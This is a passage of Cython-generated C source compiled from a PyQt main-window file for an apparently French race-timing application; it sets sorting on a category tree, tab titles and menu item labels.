self.RR_Categorie.headerItem().setText(0, _translate("MainWindow", "Catgories")) * __sortingEnabled = self.RR_Categorie.isSortingEnabled() # <<<<<<<<<<<<<< * self.RR_Categorie.setSortingEnabled(False) * self.RR_Categorie.setSortingEnabled(__sortingEnabled) */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_Categorie); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1042, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_isSortingEnabled); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 1042, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_5))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_5); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_5, function); } } if (__pyx_t_2) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1042, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else { __pyx_t_1 = __Pyx_PyObject_CallNoArg(__pyx_t_5); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1042, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_v___sortingEnabled = __pyx_t_1; __pyx_t_1 = 0; /* "Ui_MainWindow.py":1043 * self.RR_Categorie.headerItem().setText(0, _translate("MainWindow", "Catgories")) * __sortingEnabled = self.RR_Categorie.isSortingEnabled() * self.RR_Categorie.setSortingEnabled(False) # <<<<<<<<<<<<<< * self.RR_Categorie.setSortingEnabled(__sortingEnabled) * self.Tab_Container.setTabText(self.Tab_Container.indexOf(self.T_Racer_Race), _translate("MainWindow", "Participants")) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_Categorie); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1043, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setSortingEnabled); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 1043, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_tuple__641, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1043, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":1044 * __sortingEnabled = self.RR_Categorie.isSortingEnabled() * self.RR_Categorie.setSortingEnabled(False) * self.RR_Categorie.setSortingEnabled(__sortingEnabled) # <<<<<<<<<<<<<< * self.Tab_Container.setTabText(self.Tab_Container.indexOf(self.T_Racer_Race), _translate("MainWindow", "Participants")) * self.Tab_Container.setTabText(self.Tab_Container.indexOf(self.T_RaceModel), _translate("MainWindow", "Modeles Courses")) */ __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_Categorie); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 1044, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_setSortingEnabled); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1044, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_5)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_5); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (!__pyx_t_5) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_v___sortingEnabled); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1044, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_5, __pyx_v___sortingEnabled}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1044, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_1); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_5, __pyx_v___sortingEnabled}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1044, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_1); } else #endif { __pyx_t_3 = PyTuple_New(1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1044, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_5); __pyx_t_5 = NULL; __Pyx_INCREF(__pyx_v___sortingEnabled); __Pyx_GIVEREF(__pyx_v___sortingEnabled); PyTuple_SET_ITEM(__pyx_t_3, 0+1, __pyx_v___sortingEnabled); __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_3, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1044, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":1045 * self.RR_Categorie.setSortingEnabled(False) * self.RR_Categorie.setSortingEnabled(__sortingEnabled) * self.Tab_Container.setTabText(self.Tab_Container.indexOf(self.T_Racer_Race), _translate("MainWindow", "Participants")) # <<<<<<<<<<<<<< * self.Tab_Container.setTabText(self.Tab_Container.indexOf(self.T_RaceModel), _translate("MainWindow", "Modeles Courses")) * self.B_Define.setItemText(0, _translate("MainWindow", "Menu Options")) */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_Tab_Container); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1045, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_setTabText); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1045, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_Tab_Container); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 1045, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_indexOf); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1045, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_T_Racer_Race); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 1045, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_6 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (!__pyx_t_6) { __pyx_t_2 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_5); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1045, __pyx_L1_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_2); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_5}; __pyx_t_2 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1045, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_5}; __pyx_t_2 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1045, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else #endif { __pyx_t_7 = PyTuple_New(1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 1045, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_7, 0, __pyx_t_6); __pyx_t_6 = NULL; __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_7, 0+1, __pyx_t_5); __pyx_t_5 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_7, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1045, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_Call(__pyx_v__translate, __pyx_tuple__642, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1045, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_7 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_3))) { __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_7)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_7); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[3] = {__pyx_t_7, __pyx_t_2, __pyx_t_4}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_3, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1045, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[3] = {__pyx_t_7, __pyx_t_2, __pyx_t_4}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_3, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1045, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_5 = PyTuple_New(2+__pyx_t_8); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 1045, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); if (__pyx_t_7) { __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_t_7); __pyx_t_7 = NULL; } __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_5, 0+__pyx_t_8, __pyx_t_2); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_5, 1+__pyx_t_8, __pyx_t_4); __pyx_t_2 = 0; __pyx_t_4 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_5, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1045, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":1046 * self.RR_Categorie.setSortingEnabled(__sortingEnabled) * self.Tab_Container.setTabText(self.Tab_Container.indexOf(self.T_Racer_Race), _translate("MainWindow", "Participants")) * self.Tab_Container.setTabText(self.Tab_Container.indexOf(self.T_RaceModel), _translate("MainWindow", "Modeles Courses")) # <<<<<<<<<<<<<< * self.B_Define.setItemText(0, _translate("MainWindow", "Menu Options")) * self.B_Define.setItemText(1, _translate("MainWindow", "Dure")) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_Tab_Container); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1046, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setTabText); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 1046, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_Tab_Container); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1046, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_indexOf); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1046, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_T_RaceModel); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1046, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_7 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_7)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_7); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (!__pyx_t_7) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_4); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1046, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_3); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_7, __pyx_t_4}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1046, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_7, __pyx_t_4}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1046, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_6 = PyTuple_New(1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 1046, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_t_7); __pyx_t_7 = NULL; __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_6, 0+1, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_6, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1046, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_v__translate, __pyx_tuple__643, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1046, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_6 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_5))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_5); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_5, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[3] = {__pyx_t_6, __pyx_t_3, __pyx_t_2}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_5, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1046, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[3] = {__pyx_t_6, __pyx_t_3, __pyx_t_2}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_5, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1046, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif { __pyx_t_4 = PyTuple_New(2+__pyx_t_8); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1046, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); if (__pyx_t_6) { __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_6); __pyx_t_6 = NULL; } __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_4, 0+__pyx_t_8, __pyx_t_3); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_4, 1+__pyx_t_8, __pyx_t_2); __pyx_t_3 = 0; __pyx_t_2 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_t_4, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1046, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":1047 * self.Tab_Container.setTabText(self.Tab_Container.indexOf(self.T_Racer_Race), _translate("MainWindow", "Participants")) * self.Tab_Container.setTabText(self.Tab_Container.indexOf(self.T_RaceModel), _translate("MainWindow", "Modeles Courses")) * self.B_Define.setItemText(0, _translate("MainWindow", "Menu Options")) # <<<<<<<<<<<<<< * self.B_Define.setItemText(1, _translate("MainWindow", "Dure")) * self.B_Define.setItemText(2, _translate("MainWindow", "Sauvegade des Rsultats")) */ __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_B_Define); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 1047, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_setItemText); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1047, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = __Pyx_PyObject_Call(__pyx_v__translate, __pyx_tuple__644, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 1047, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_2 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[3] = {__pyx_t_2, __pyx_int_0, __pyx_t_5}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1047, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[3] = {__pyx_t_2, __pyx_int_0, __pyx_t_5}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1047, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else #endif { __pyx_t_3 = PyTuple_New(2+__pyx_t_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1047, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); if (__pyx_t_2) { __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_2); __pyx_t_2 = NULL; } __Pyx_INCREF(__pyx_int_0); __Pyx_GIVEREF(__pyx_int_0); PyTuple_SET_ITEM(__pyx_t_3, 0+__pyx_t_8, __pyx_int_0); __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_3, 1+__pyx_t_8, __pyx_t_5); __pyx_t_5 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_3, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1047, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":1048 * self.Tab_Container.setTabText(self.Tab_Container.indexOf(self.T_RaceModel), _translate("MainWindow", "Modeles Courses")) * self.B_Define.setItemText(0, _translate("MainWindow", "Menu Options")) * self.B_Define.setItemText(1, _translate("MainWindow", "Dure")) # <<<<<<<<<<<<<< * self.B_Define.setItemText(2, _translate("MainWindow", "Sauvegade des Rsultats")) * self.B_Start.setText(_translate("MainWindow", "Dpart")) */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_B_Define); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1048, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_setItemText); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1048, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_Call(__pyx_v__translate, __pyx_tuple__645, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1048, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_5 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_3))) { __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_5)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_5); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[3] = {__pyx_t_5, __pyx_int_1, __pyx_t_4}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_3, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1048, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[3] = {__pyx_t_5, __pyx_int_1, __pyx_t_4}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_3, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1048, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_2 = PyTuple_New(2+__pyx_t_8); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1048, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (__pyx_t_5) { __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_5); __pyx_t_5 = NULL; } __Pyx_INCREF(__pyx_int_1); __Pyx_GIVEREF(__pyx_int_1); PyTuple_SET_ITEM(__pyx_t_2, 0+__pyx_t_8, __pyx_int_1); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_2, 1+__pyx_t_8, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_2, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1048, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":1049 * self.B_Define.setItemText(0, _translate("MainWindow", "Menu Options")) * self.B_Define.setItemText(1, _translate("MainWindow", "Dure")) * self.B_Define.setItemText(2, _translate("MainWindow", "Sauvegade des Rsultats")) # <<<<<<<<<<<<<< * self.B_Start.setText(_translate("MainWindow", "Dpart")) * self.B_Stop.setText(_translate("MainWindow", "STOP")) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, 